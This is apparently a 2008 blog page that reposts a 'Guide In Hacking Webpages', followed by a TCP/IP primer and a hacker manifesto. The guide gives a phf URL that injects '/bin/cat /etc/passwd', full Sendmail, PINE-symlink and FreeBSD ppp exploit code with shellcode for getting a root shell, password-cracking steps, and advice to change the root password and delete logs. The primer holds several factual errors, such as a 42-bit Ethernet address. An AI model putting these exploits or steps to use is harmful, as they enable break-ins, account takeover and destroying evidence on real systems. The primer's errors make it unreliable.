Search This Blog

Thursday, January 31, 2008

Guide In Hacking Webpages

Getting the Password File Through FTP

Ok well one of the easiest ways of getting superuser access is through anonymous ftp access into a webpage. First you need learn a little about the password file...

root:User:d7Bdg:1n2HG2:1127:20:Superuser

TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh

BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh

This is an example of a regular encrypted password file. The Superuser is the part that gives you root. That's the main part of the file.

root:x:0:1:Superuser:/:

ftp:x:202:102:Anonymous ftp:/u1/ftp:

ftpadmin:x:203:102:ftp Administrator:/u1/ftp

This is another example of a password file, only this one has one little difference, it's shadowed. Shadowed password files don't let you view or copy the actual encrypted password. This causes problems for the password cracker and dictionary maker(both explained later in the text). Below is another example of a shadowed password file:

root:x:0:1:0000-Admin(0000):/:/usr/bin/csh

daemon:x:1:1:0000-Admin(0000):/:

bin:x:2:2:0000-Admin(0000):/usr/bin:

sys:x:3:3:0000-Admin(0000):/:

adm:x:4:4:0000-Admin(0000):/var/adm:

lp:x:71:8:0000-lp(0000):/usr/spool/lp:

smtp:x:0:0:mail daemon user:/:

uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:

nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico

listen:x:37:4:Network Admin:/usr/net/nls:

nobody:x:60001:60001:uid no body:/:

noaccess:x:60002:60002:uid no access:/:

webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh

pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false

ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false

Shadowed password files have an "x" in the place of a password or sometimes they are disguised as an * as well.

Now that you know a little more about what the actual password file looks like you should be able to identify a normal encrypted pw from a shadowed pw file. We can now go on to talk about how to crack it.

Cracking a password file isn't as complicated as it would seem, although the files vary from system to system. 1.The first step that you would take is to download or copy the file. 2. The second step is to find a password cracker and a dictionary maker. Although it's nearly impossible to find a good cracker there are a few ok ones out there. I recomend that you look for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper. Now for a dictionary maker or a dictionary file... When you start a cracking prog you will be asked to find the the password file. That's where a dictionary maker comes in. You can download one from nearly every hacker page on the net. A dictionary maker finds all the possible letter combinations with the alphabet that you choose(ASCII, caps, lowercase, and numeric letters may also be added) . We will be releasing our pasword file to the public soon, it will be called, Psychotic Candy, “The Perfect Drug.” As far as we know it will be one of the largest in circulation. 3. You then start up the cracker and follow the directions that it gives you.

The PHF Technique

Well I wasn't sure if I should include this section due to the fact that everybody already knows it and most servers have already found out about the bug and fixed it. But since I have been asked questions about the phf I decided to include it.

The phf technique is by far the easiest way of getting a password file(although it doesn't work 95% of the time). But to do the phf all you do is open a browser and type in the following link:

http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

You replace the webpage_goes_here with the domain. So if you were trying to get the pw file for www.webpage.com you would type:

http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

and that's it! You just sit back and copy the file(if it works).

Telnet and Exploits

Well exploits are the best way of hacking webpages but they are also more complicated then hacking through ftp or using the phf. Before you can setup an exploit you must first have a telnet proggie, there are many different clients you can just do a netsearch and find everything you need.

It’s best to get an account with your target(if possible) and view the glitches from the inside out. Exploits expose errors or bugs in systems and usually allow you to gain root access. There are many different exploits around and you can view each seperately. I’m going to list a few below but the list of exploits is endless.

This exploit is known as Sendmail v.8.8.4

It creates a suid program /tmp/x that calls shell as root. This is how you set it up:

cat <<>/tmp/x.c

#define RUN "/bin/ksh"

#include

main()

{

execl(RUN,RUN,NULL);

}

_EOF_

#

cat <<>/tmp/spawnfish.c

main()

{

execl("/usr/lib/sendmail","/tmp/smtpd",0);

}

_EOF_

#

cat <<>/tmp/smtpd.c

main()

{

setuid(0); setgid(0);

system("chown root /tmp/x ;chmod 4755 /tmp/x");

}

_EOF_

#

#

gcc -O -o /tmp/x /tmp/x.c

gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c

gcc -O3 -o /tmp/smtpd /tmp/smtpd.c

#

/tmp/spawnfish

kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`

rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c

sleep 5

if [ -u /tmp/x ] ; then

echo "leet..."

/tmp/x

fi

and now on to another exploit. I’m going to display the pine exploit through linux. By watching the process table with ps to see which users are running PINE, one can then do an ls in /tmp/ to gather the lockfile names for each user. Watching the process table once again will now reveal when each user quits PINE or runs out of unread messages in their INBOX, effectively deleting

the respective lockfile.

Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for a generic example) will cause PINE to create ~hamors/.rhosts as a 666 file with PINE's process id as its contents. One may now simply do an echo "+ +" > /tmp/.hamors_lockfile, then rm /tmp/.hamors_lockfile.

This was writen by Sean B. Hamor…For this example, hamors is the victim while catluvr is the attacker:

hamors (21 19:04) litterbox:~> pine

catluvr (6 19:06) litterbox:~> ps -aux | grep pine

catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine

hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine

catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors

- -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4

catluvr (8 19:07) litterbox:~> ps -aux | grep pine

catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine

catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4

hamors (23 19:09) litterbox:~> pine

catluvr (11 19:10) litterbox:~> ps -aux | grep pine

catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine

hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine

catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4

catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4

+ +

catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4

catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors

now on to another one, this will be the last one that I’m going to show. Exploitation script for the ppp vulnerbility as described by no one to date, this is NOT FreeBSD-SA-96:15. Works on

FreeBSD as tested. Mess with the numbers if it doesnt work. This is how you set it up:

#include

#include

#include

#define BUFFER_SIZE 156 /* size of the bufer to overflow */

#define OFFSET -290 /* number of bytes to jump after the start

of the buffer */

long get_esp(void) { __asm__("movl %esp,%eax\n"); }

main(int argc, char *argv[])

{

char *buf = NULL;

unsigned long *addr_ptr = NULL;

char *ptr = NULL;

char execshell[] =

"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */

"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */

"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" /* 20 bytes */

"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /* 15 bytes, 57 total */

int i,j;

buf = malloc(4096);

/* fill start of bufer with nops */

i = BUFFER_SIZE-strlen(execshell);

memset(buf, 0x90, i);

ptr = buf + i;

/* place exploit code into the buffer */

for(i = 0; i <>

*ptr++ = execshell[i];

addr_ptr = (long *)ptr;

for(i=0;i < (104/4); i++)

*addr_ptr++ = get_esp() + OFFSET;

ptr = (char *)addr_ptr;

*ptr = 0;

setenv("HOME", buf, 1);

execl("/usr/sbin/ppp", "ppp", NULL);

}

Now that you’ve gotten root “what’s next?” Well the choice is up to you but I would recommend changing the password before you delete or change anything. To change their password all you have to do is login via telnet and login with your new account. Then you just type: passwd and it will ask you for the old password first followed by the new one. Now only you will have the new pw and that should last for a while you can now upload you pages, delete all the logs and just plain do your worstJ Psychotic writes our own exploits and we will be releasing them soon, so keep your eyes open for them.




-----------------------------☺☺☺☺FOr any question☺☺☺☺-----------------------
~~~~~~~~~~~~~~~~~~~~~~~~Look for the answer..~~~~~~~~~~~~~~~~~~~~

or, mail me @: peter2dmax@yahoo.com for assistance...
or simply add me in your friendster account(if you have) live_and_kill13@yahoo.com

Secrets Behind TCP/IP

It makes me think for a couple of a weeks, before my common sense recognize this..~.~"
now, i'm sharing it to all of you....
-peter-


TCP\IP or Transmission Control Protocol \ Internet Protocol is a stack or
collection of various protocols. A protocol is basically the commands or
instructions using which two computers within a local network or the Internet
can exchange data or information and resources.
Transmission Control Protocol \ Internet Protocol or the TCP\IP was developed
around the time of the ARPAnet. It is also known as the Protocol Suite. It
consists of various protocols but as the TCP
(Transmission Control Protocol) and the IP (Internet Protocol) are the most,
well known of the suite of protocols, the entire family or suite is called the
TCP\IP suite.
The TCP\ IP Suite is a stacked suite with various layers stacked on each other,
each layer looking after one aspect of the data transfer. Data is transferred
from one layer to the other. The Entire TCP\ IP suite can be broken down into
the below layers-:
Layer Name Protocol
Link Layer (Hardware, Ethernet) ARP, RARP, PPP, Ether
Network Layer(The Invisible Layer) IP, ICMP
Transport Layer UDP, TCP
Application Layer(The Visible Layer) The Actual running Applications like-: FTP
client, Browser
Physical Layer (Not part of TCP \IP) Physical Data Cables, Telephone wires
Data travels from the Link Layer down to the Physical Layer at the source and at
the destination it travels from the Physical Layer to the Link Layer. We will
later discuss what each layer and each protocol does.
The TCP\IP suite not only helps to transfer data but also has to correct various
problems that might occur during the data transfer. There are basically two
types of most common errors that might occur during the process of data
transfer. They are-:
Data Corruption -: In this kind of error, the data reaches the destination after
getting corrupted.
Data Loss -: In this kind of error, the entire collection of packets which
constitute the data to be transferred does not reach the destination.
TCP\IP expects such errors to take place and has certain features which prevent,
such error which might occur.
Checksums-: A checksum is a value (Normally, a 16 Bit Value) that is formed by
summing up the Binary Data in the used program for a given data block. The
program being used is responsible for the calculation of the Checksum value. The
data being sent by the program sends this calculated checksum value, along with
the data packets to the destination. When the program running at the destination
receives the data packets, it re-calculates the Checksum value. If the Checksum
value calculated by the Destination program matches with the Checksum Value
attached to the Data Packets by the Source Program match, then the data transfer
is said to be valid and error free. Checksum is calculated by adding up all the
octets in a datagram.

Packet Sequencing-: All data being transferred on the net is broken down into
packets at the source and joined together at the destination. The data is broken
down into packets in a particular sequence at the source. This means that, for
example, the first byte has the first sequence number and the second byte the
second sequence number and so on. These packets are free to travel independently
on the net, so sometimes, when the data packets reach the destination they
arrive, out of sequence, which means that the packet which had the first
sequence number attached to it does not reach the destination first. Sequencing
defines the order in which the hosts receive the data packets or messages. The
application or the layer running at the destination automatically builds up the
data from the sequence number in each packet.
The source system breaks the data to be transferred into smaller packets and
assigns each packet a unique sequence number. When the destination gets the
packets, it's starts rearranging the packets by reading the sequence numbers of
each packet to make the data received usable.
For example, say you want to transfer a 18000 octet file. Not all networks can
handle the entire 18000 octet packets at a time. So the huge file is broken down
into smaller say 300 octet packets. Each packet has been assigned a unique
sequence number. Now when the packets reach the destination the packets are put
back together to get the usable data. Now during the transportation process, as
the packets can move independently on the net, it is possible that the packet 5
will arrive at the destination before packet 4 arrives. In such a situation, the
sequence numbers are used by the destination to rearrange the data packets in
such a way that even if Data packet 5 arrived earlier, Packet 4 will always
precede Packet 5.
A data can easily be corrupted while it is being transferred from the source to
the destination. Now if a error control service is running then if it detects
data corruption, then it asks the source to re-send the packets of data. Thus
only non corrupted data reaches the destination. An error control service
detects and controls the same two types of errors-:
1.) Data Loss
2.) Data Corruption
The Checksum values are used to detect if the data has been modified or
corrupted during the transfer from source to destination or any corruption in
the communication channel which may have caused data loss.
Data Corruption is detected by the Checksum Values and by performing Cyclic
Redundancy Checks
(CRC 's). CRC 's too like the Checksums are integer values but require intensely
advanced calculation and hence are rarely used.
There is yet another way of detecting data corruption-: Handshaking.
This feature ensures demands that both the source and destination must transmit
and receive acknowledgement messages, that confirm transfer of uncorrupted data.
Such acknowledgement messages are known as ACK messages.
Let's take an example of a typical scenario of data transfer between two
systems.
Source Sends MSG1 to Destination. It will not send MSG2 to Destination unless
and until it gets the MSG ACK and destination will not send more requests for
data or the next request message (MSG2) unless it gets the ACK from Source
confirming that the MSG1 ACK was received by it. If the source does not get a
ACK message from the destination, then something which is called a timed-out
occurs and the source will re send the data to destination.
So this means that if A sends a data packet to B and B checksums the data packet
and finds the data corrupted, then it can simply delete for a time out to take
place. Once the time out takes place, A will re send the data packet to B. But
this kind of system of deleting corrupt data is not used as it is inefficient
and time consuming.
Instead of deleting the corrupt data and waiting for a time out to take place,
the destination (B) sends a not acknowledged or NACK message to source(A). When
A gets the NACK message, instead of waiting for a time out to take place, it
straightaway resends the data packet.
An ACK message of 1000 would mean that all data up to 1000 octets has been
received till now.
TCP/ IP is a layered suite of protocols. All layers are equally important and
with the absence of even a single layer, data transfer would not have been
possible. Each TCP/ IP layer contributes to the entire process of data transfer.
An excellent example, is when you send an email. For sending mail there is a
separate protocol, the SMTP protocol which belongs to the Application layer. The
SMTP Application protocol like all other application layer protocols assumes
that there is a reliable connection existing between the two computers. For the
SMTP application protocol to do what it is designed for, i.e. to send mail, it
requires the existence of all other Layers as well. The Physical Layer i.e.
cables and wires is required to transport the data physically. The Transmission
Control Protocol or the TCP protocol which belongs to the Transport Layer is
needed to keep track of the number of packets sent and for error correction. It
is this protocol that makes sure that the data reaches the other end. The TCP
protocol is called by the Application Protocol to ensure error free
communication between the source and destination. For the TCP layer to do its
work properly i.e. to ensure that the data packets reach the destination, it
requires the existence of the Internet Protocol or IP. The IP protocol contains
the Checksum and Source and Destination IP address.
You may wonder why do we need different protocols like TCP and IP and why not
bundle them into the same Application protocol.? The TCP protocol contains
commands or functions which are needed by various application protocols like
FTP, SMTP and also HTTP. The TCP protocol also calls on the IP protocol, which
in turn contains commands or functions which some application protocols require
while others don’t. So rather than bundling the entire TCP and IP protocol set
into specific application protocols, it is better to have different protocols
which are called whenever required.
The Link Layer which is the Hardware or Ethernet layer is also needed for
transportation of the data packets. The PPP or the Point to Point Protocol
belongs to this layer. Before we go on let's get accustomed with certain TCP\IP
terms. Most people get confused between datagrams and packets and think that
they are one and the same thing . You see, a datagram is a unit of data which is
used by various protocols and a packet is a physical object or thing which moves
on a physical medium like a wire. There is a remarkable difference between a
Packet and a Datagram, but it is beyond the scope of this book. To make things
easier I will use only the term datagram (Actually this is the official
term.)while discussing various protocols.
Two different main protocols are involved in transporting packets from source to
destination.
1.) The Transmission Control Protocol or the TCP Protocol
2.) The Internet Protocol or the IP protocol.
Besides these two main protocols, the Physical Layer and the Ethernet Layer are
also indispensable to data
transfer.
THE TRANSPORT LAYER
The TCP protocol
The Transmission Control Protocol is responsible for breaking up the data into
smaller datagrams and putting the datagrams back to form usable data at the
destination. It also resends the lost datagrams to destination where the
received datagrams are reassembled in the right order. The TCP protocol does the
bulk of work but without the IP protocol, it cannot transfer data.
Let's take an example to make things more clearer. Let's say your Internet
Protocol Address or IP address is xxx.xxx.xxx.xxx or simply x and the
destination's IP is yyy.yyy.yyy.yyy or simply y. Now As soon as the three-way
connection is established between x and y, x knows the destination IP address
and also the Port to which it is connected to. Both x and y are in different
networks which can handle different sized packets. So in order to send datagrams
which are in receivable size, x must know what is the maximum datagram size
which y can handle. This too is determined by both x and y during connection
time.
So once x knows the maximum size of the datagram which y can handle, it breaks
down the data into smaller chunks or datagrams. Each datagram has it's own TCP
header which too is put by TCP.
A TCP Header contains a lot of information, but the most important of it is the
Source and Destination IP and Port numbers and yes also the sequence number.
**************
HACKING TRUTH: Learn more about Ports, IP's, Sockets in the Net Tools Manual
**************
The source which is your computer(x) now knows what the IP Addresses and Port
Numbers of the Destination and Source computers are. It now calculates the
Checksum value by adding up all the octets of the datagram and puts the final
checksum value to the TCP Header. The different octets and not the datagrams are
then numbered. An octet would be a smaller broken down form of the entire data.
TCP then puts all this information into the TCP header of each datagram. A TCP
Header of a datagram would finally look like -:

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
| Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| The Actual Data form the next 500 octets |
| |


There are certain new fields in the TCP header which you may not know off. Let's
see what these new fields signify. The Windows field specifies the octets of new
data which is ready to be processed. You see not all computers connected to the
Internet run at the same speed and to ensure that a faster system does not send
datagrams to a slow system at a rate which is faster than it can handle, we use
the Window field. As the computer receives data , the space in the Window field
gets decreased indicating that the receiver has received the data. When it
reaches zero the sender stops sending further packets. Once the receiver
finishes processing the received data, it increases the Window field, which in
turn indicates that the receiver has processed the earlier sent data and is
ready to receive more chunks of data.
The Urgent Field tells the remote computer to stop processing the last octet and
instead receive the new octet. This is normally not commonly used.
The TCP protocol is a reliable protocol, which means that we have a guarantee
that the data will arrive at the destination properly and without any errors. It
ensures that the data being received by the receiving end is arranged in the
same correct order in which it was sent.
The TCP Protocol relies on a virtual circuit between the client and the host.
The circuit is opened via a 3 part process known as the three part handshake. It
supports full duplex transportation of data which means that it provides a path
for two way data transfer. Hence using the TCP protocol, a computer can send and
receive datagrams at the same time.
Read RFC 793 for further in depth details about the TCP protocol.
The User Datagram Protocol or the UDP Protocol
The User Data protocol or the UDP is yet another protocol which is a member of
the Transport Layer. TCP is the standard protocol used by all systems for
communications. TCP is used to break down the data to be transported into
smaller datagrams, before they (the datagrams) are sent across a network. Thus
we can say that TCP is used where more than a single or multiple datagrams are
involved.
Sometimes, the data to be transported is able to fit into a single datagram. We
do not need to break the data into smaller datagrams as the size of the data is
pretty small. The perfect example of such data is the DNS system. To send out
the query for a particular domain name, a single datagram is more than enough.
Also the IP that is returned by the Domain Name Server does not require more
than one datagram for transportation. So in such cases instead of making use of
the complex TCP protocol, applications fall back to the UDP protocol.
The UDP protocol works almost the way TCP works. But the only differences being
that TCP breaks the data to be transferred into smaller chunks, does sequencing
by inserting a sequence number in the header and no error control. Thus we can
conclude by saying that the UDP protocol is an unreliable protocol with no way
to confirm that the data has reached the destination.
The UDP protocol does insert a USP header to the single datagram it is
transporting. The UDP header contains the Source and Destination IP Addresses
and Port Numbers and also the Checksum value. The UDP header is comparatively
smaller than the TCP Header.
It is used by those applications where small chunks of data are involved. It
offers services to the User's Network Applications like NFS(Network File
Sharing) and SNMP.
Read RFC 768 for further in depth details about the UDP protocol.
THE NETWORK LAYER
The IP Protocol
Both the TCP and the UDP protocols, after inserting the headers to the
datagram(s) given to them pass them to the Internet Protocol or the IP Protocol.
The main job of the IP protocol is to find a way of transporting the datagrams
to the destination receiver. It does not do any kind of error checking.
The IP protocol too adds it's own IP Header to each datagram. The IP header
contains the source and destination IP addresses, the protocol number and yet
another checksum. The IP header of a particular datagram looks like-:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| TCP header info followed by the actual data being transferred|
| |


The Source and destination IP addresses and needed so that…well it is obvious
isn't it? The Protocol number is added so that the IP protocol knows to which
Transport Protocol the datagram has to be passed.
You see various Transport Protocols are used like for example TCP or UDP. So
this protocol number is inserted to tell IP the protocol to which the datagram
has to be passed.
It too inserts it's own Checksum value which is different from the Checksum
Value inserted by the Transport Protocols. This Checksum has to be inserted as
without it the Internet Protocol will not be able to verify if the Header has
been damaged in the transfer process and hence the datagram might reach a wrong
destination. The Time to Live field specifies a value which is decreased each
time the datagram passes through a network. Remember Tracert?
The Internet Protocol Header contains other fields as well, but they are quite
advanced and cannot be included in a manual which gives an introduction to the
TCP\IP protocol. To learn more about the IP protocol read RFC 791.
The Internet Control Message Protocol or the ICMP
The ICMP protocol allows hosts to transfer information on errors that might have
occurred during the data transfer between two hosts. It is basically used to
display error messages about errors that might occur during the data transfer.
The ICMP is a very simple protocol without any headers. It is most commonly used
to diagnose Network Problems. The famous utility PING is a part of the ICMP
protocol. ICMP requests do not require the user or application to mention any
port number as all ICMP requests are answered by the Network Software itself.
The ICMP protocol too handles only a single datagram. That's why we say in PING
only a single datagram is sent to the remote computer. This protocol can remote
many network problems like Host Down, Congested Network etc
Read RFC 792 for further in depth details about the ICMP protocol.
The Link Layer
Almost all networks use Ethernet. Each machine in a network has it's own IP
address and it's Ether Address. The Ether Address of a computer is different
than it's IP address. An Ether Address is a 42 bit address while the IP address
is only a 32 bit address. A Network must know which computer to deliver the
datagram to. Right? For this the Ether Header is used.
The Ether Header is a 14 octet header that contains the Source and Destination
Ethernet address, and a type code. Ether too calculates it's own Checksum value.
The Type code relates to the protocol families to be used within the Network.
The Ether Layer passes the datagram to the protocol specified by this field
after inserting the Ether Header. There is simply no connection between the
Ethernet Address and the IP address of a machine. Each machine needs to have a
Ethernet to IP address translation table on its hard disk.
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Ethernet destination address (first 32 bits) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Ethernet dest (last 16 bits) |Ethernet source (first 16 bits) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Ethernet source address (last 32 bits) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Type code |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| IP header, then TCP header, then your data |
| |
| |
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Ethernet Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Address Resolution Protocol or ARP
Data before being transmitted across the Internet or across a local network is
broken down into smaller Packets which are suitable for transfer over the net.
These packets have the Source and Destination IP's but for the transfer to take
place the suitable Hardware Addresses or the MAC addresses must also be known.
That is where ARP comes in.
To get the Hardware MAC addresses, ARP or Address Resolution Protocol sends a
request message. The Router replies with the Hardware Address. It is similar to
the DNS and it too has a cache. This cache can be a bit vulnerable as a Hacker
could forge a connection from a remote machine claiming to be one of the cached
locations. So we can conclude that ARP translates IP's into Ethernet Addresses.
One thing to remember about ARP is that it only translates outgoing packets.
There is also something called the RARP which is an abbreviation for Reverse
Address Resolution Protocol, which like the name says does exactly reverse of
what ARP does.
There is simply no algorithm to get the Ethernet Address from the IP Address. To
carry out such translations, each computer has a file which has a table with
rows for each computer and two columns for their corresponding IP address and
Ethernet Address. The File is somewhat like the following-:
Internet Protocol Address Ethernet Address
Computer Name xxx.xy.yy.yx 08-00-39-00-2F-C3
Say there are a system in a Network (A) and an unidentified system (B) contacts
it. Now A only knows the IP address of B. Now A will first try to identify
whether B is the same network so that it can directly communicate via Ethernet.
So it will first check the IP to MAC address translation table which it has. If
it finds the IP in the table then well and good and A will establish a
connection with B via Ethernet.
On the Other hand if A does not find any match for the specific IP, it will send
out a request in the form of a 'Broadcast'. All computers within the Network
will receive this broadcast and will search their own IP to MAC translation
table and will reply with the necessary MAC address. A basic difference between
an Ip address and MAC address is that an IP is the form xxx.xxx.xxx.xxx and a
MAC address is in the form
xx:xx:xx:xx:xx:xx and one is 32 bit while the other is 40 bit.
Read RFC 826 for further in depth details about the ARP protocol.
Application Layer
Till now you have learnt how data is broken down into smaller chunks, and
transferred to the destination, where the chunks are rearranged. But there is
yet another aspect to a successful data transfer process, which we have not
discussed yet: The Application Protocols and the Application Layer itself. A
host which receives datagrams has many applications or services (daemons)
running which are ready to establish a TCP connection and accept a message.
Datagrams travelling on the Internet must know which application they have to
establish connection with, which application they have to send the message to. A
typical web server will have the FTP daemon, the HTTP daemon, the POP daemon,
and the SMTP daemon running.
Wouldn't the datagrams get confused as to which daemon to send the message to.
For the datagrams to know which computer to send the message to, we have IP
addresses. The datagram knows what daemon or application to send the message to
by the Port Number attached to the IP address of the Destination. A TCP address
is actually fully described by 4 numbers; The IP address of the Source and
Destination and the TCP Port Numbers of each end to which data is to be sent.
These numbers are found in the TCP Header.
To make it simpler to understand I have included an excerpt from the Net Tools
Chapter:
What is all the hype about socket programming? What exactly are sockets?
TCP\IP or Transmission Control Protocol\ Internet Protocol is the language or
the protocol used by computers to communicate with each other over the Internet.
Say a computer whose IP address is 99.99.99.99 wants to communicate with another
machine whose IP address is 98.98.98.98 then would will happen?
The machine whose IP is 99.99.99.99 sends a packet addressed to another machine
whose IP is
98.98.98.98. When 98.98.98.98 receives the packet then it verifies that it got
the message by sending a
signal back to 99.99.99.99.But say the person who is using 99.99.99.99 wants to
have simultaneously more
than one connections to 98.98.98.98.....then what will happen? Say 99.99.99.99
wants to connect to
the FTP daemon and download a file by FTP and at the same time it wants to
connect to 98.98.98.98's
website i.e. The HTTP daemon. Then 98.98.98.98. will have 2 connects with
99.99.99.99 simultaneously. Now how can 98.98.98.98.distinguish between the two
connections...how does 98.98.98.98. know which
is for the FTP daemon and which for the HTTP daemon? If there was no way to
distinguish between the
two connections then they would both get mixed up and there would be a lot of
chaos with the message
meant for the HTTP daemon going to the FTP daemon. To avoid such confusion we
have ports. At each
port a particular service or daemon is running by default. So now that the
99.99.99.99 computers knows
which port to connect to, to download a FTP file and which port to connect to,
to download the web page,
it will communicate with the 98.98.98.98 machine using what is known as the
socket pair which is a
combination of an IP address and a Port. So in the above case the message which
is meant for the FTP daemon will be addressed to 98.98.98.98 : 21 (Notice the
colon and the default FTP port suceeding it.).
So that the receiving machine i.e. 98.98.98.98 will know for which service this
message is meant for and to
which port it should be directed to.
In TCP\IP or over the Internet all communication is done using the Socket pair
i.e. the combination of the IP address and the port.

I am Peter




Do you ever take a look behind the eyes of me? Did you ever wonder what

made me tick, what forces shaped me, what may have molded me

I am a Peter, enter my world...

Mine is a world that begins with school... I'm smarter than most of

the other student, this crap they teach us bores me...

Damn underachiever. They're all alike.



When i was in the high school, I've listened to teachers explain

for the fifteenth time how to reduce a fraction, How to derive numbers, solve a mathematical equation, I understand it.

"No, Ms. I didn't show my work. I did it in my head..."

Damn student. Probably copied it. They're all alike.



Everyday, I made a discovery, I have a knowledge that they don't know.

They can't understand what I explaining is.

I was too bored, and i found our old computer, I'll try to screw it up.

It seems like it doesn't work anymore but

for me, its cool.

If I makes a mistake, it's because I

screwed it up. Not because it doesn't like me...

Or feels threatened by me...

Or thinks I'm a smart ass...

Or doesn't like teaching and shouldn't be here...

Damn kid. All he does is play games. They're all alike.

This is my game, discovering things that i didn't know.

I always have a question in my fuckin' brain,

every second, i always ask my self.

and in a minute, i got it 60 answers.

i don't ask them, i ask myself.

And then it happened... a door opened to a world... rushing through

the phone line like heroin through an addict's veins, an electronic pulse is

sent out, a refuge from the day-to-day incompetencies is sought... a board is

found.

"This is it... this is where I belong..."

I know everyone here... even if I've never met them, never talked to

them, may never hear from them again... I know you all...

Damn kid. Tying up the phone line again. They're all alike...



You bet your ass we're all alike... we've been spoon-fed baby food at

school when we hungered for food... the bits of meat that you did let slip

through were pre-chewed and tasteless. We've been dominated by sadists, or

ignored by the apathetic. The few that had something to teach found us

willing students, but those few are like drops of water in the desert.



This is our world now... the world of the electron and the switch, the

beauty of the baud. We make use of a service already existing without paying

for what could be dirt-cheap if it wasn't run by profiteering gluttons, and

they call me a criminal. I explore... and they call me a criminal. I seek

after knowledge... and they call me a criminal.

I exist without skin color,

without nationality,

without religious bias...

and they call me a criminal.

They build atomic bombs,

They wage wars,

They murder, cheat, and lie to the people..

and try to make us believe it's for our own good, yet we're the criminals.



Yes, I am a criminal. My crime is that of curiosity.

My crime is that of judging people by what they say and think,

not what they look like.

My crime is that of outsmarting you, something that you will never forgive me

for.

I am a Peter, and this is my manifesto. You may stop this individual,

but you can't stop us all...

after all, we're all alike.

Hackers Dictionary

Stick to the standard ASCII character set.



Verb doubling: a standard construction is to double a verb and use it

